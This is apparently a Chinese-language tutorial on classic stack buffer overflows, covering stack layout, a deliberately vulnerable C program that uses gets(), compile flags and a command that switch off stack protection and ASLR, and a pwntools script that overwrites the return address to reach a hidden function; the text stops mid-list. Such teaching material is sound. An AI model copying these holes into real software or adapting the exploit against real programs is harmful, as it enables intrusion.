0x0 栈介绍
栈式一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作
压栈与出栈都是操作的栈顶
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。
程序的栈是从进程地址空间的高地址向低地址增长的。
- x86
- 函数参数在函数返回地址的上方
- x64
- 前6个整型或指针参数一次保存在RDI,RSI,RDX,RCX,R8和R9寄存器中,如果还有更多的参数的话才会保存在栈上
- 内存地址不能大于
0x00007FFFFFFFFFFF
,6个字节长度,否则会抛出异常
0x1 栈溢出原理
栈溢出指的是程序向栈中某个变量写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
栈溢出的基本前提是:
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好地控制
一、简单示例
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,在利用前,我们需要确保这个地址所在的段具有可执行权限,举例
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
这个程序的主要目的读取一个字符串,并将其输出。最终我们想要做到的事可以控制程序执行success
函数
使用如下指令对其进行编译
gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example
-m32
生成32位程序-fno-stack-protector
不开启堆栈溢出保护,即不生成canary--enable-default-pie
参数代表PIE默认已开启,需要在编译指令中添加参数-no-pie
Linux平台下还有地址空间分布随机化(ASLR)的机制,简单来说即使可执行文件开启了PIE保护,还需要系统开启ASLR才回真正打乱基址,否则程序运行时依旧会加载一个固定的基址上,可以通过修改/proc/sys/kernel/randomize_va_space
来控制ASLR启动与否,具体选项有:
- 0,关闭ASLR,没有随机化。栈、堆、
.so
的基地址每次都相同 - 1,普通ASLR。栈基地址、mmap基地址、
.so
加载基地址都将被随机化,但是堆基地址没有随机化 - 2,增强的 ASLR,在1的基础上,增加了堆基地址随机化
修改指令:关闭Linux系统的ASLR
echo 0 > /proc/sys/kernel/randomize_va_space
根据分析可知,该字符串距离ebp
的长度为0x14
,对应的栈结构为
+--------------------+
| retaddr |
+--------------------+
| saved ebp |
ebp---->+--------------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14->+--------------------+
通过Ghidra
获得success
的地址,其地址为0x080491ba
tips
push ebp
是一个函数的开始标志
如果读取的字符串为
0x14*'a' + 'bbbb' + success_addr
由于gets
会读到回车才算结束,所以可以直接读取所有字符串,并将saved ebp
覆盖为bbbb
,将retaddr
覆盖为success_addr
,此时的栈结构为
+--------------------+
| 0x080491ba |
+--------------------+
| bbbb |
ebp---->+--------------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14->+--------------------+
由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x080491ba
在内存中的形式是
\xba\x91\x04\x08
所以构造exp如下
##coding=utf8
# 导入pwn模块
from pwn import *
# 构造与程序交互的对象
sh = process('./01')
# 所要运行的函数的地址
success_addr = 0x080491ba
# code为构造的填充脏字节
code = 'a' * 0x14
# place为填充寄存器的字节
place = 'b' * 0x4
# 拼接payload
payload = code + place + p32(success_addr)
# 打印payload
print(p32(success_addr))
# 发送payload
sh.sendline(payload)
# 将代码交互转换为手工交互
sh.interactive()
执行成功运行vulnerable
函数
总结:栈溢出中比较重要的两个步骤分别为
- 寻找危险函数(常见危险函数如下)
- 输入
gets
,直接读取一行,忽略\x00
scanf
<
- 输入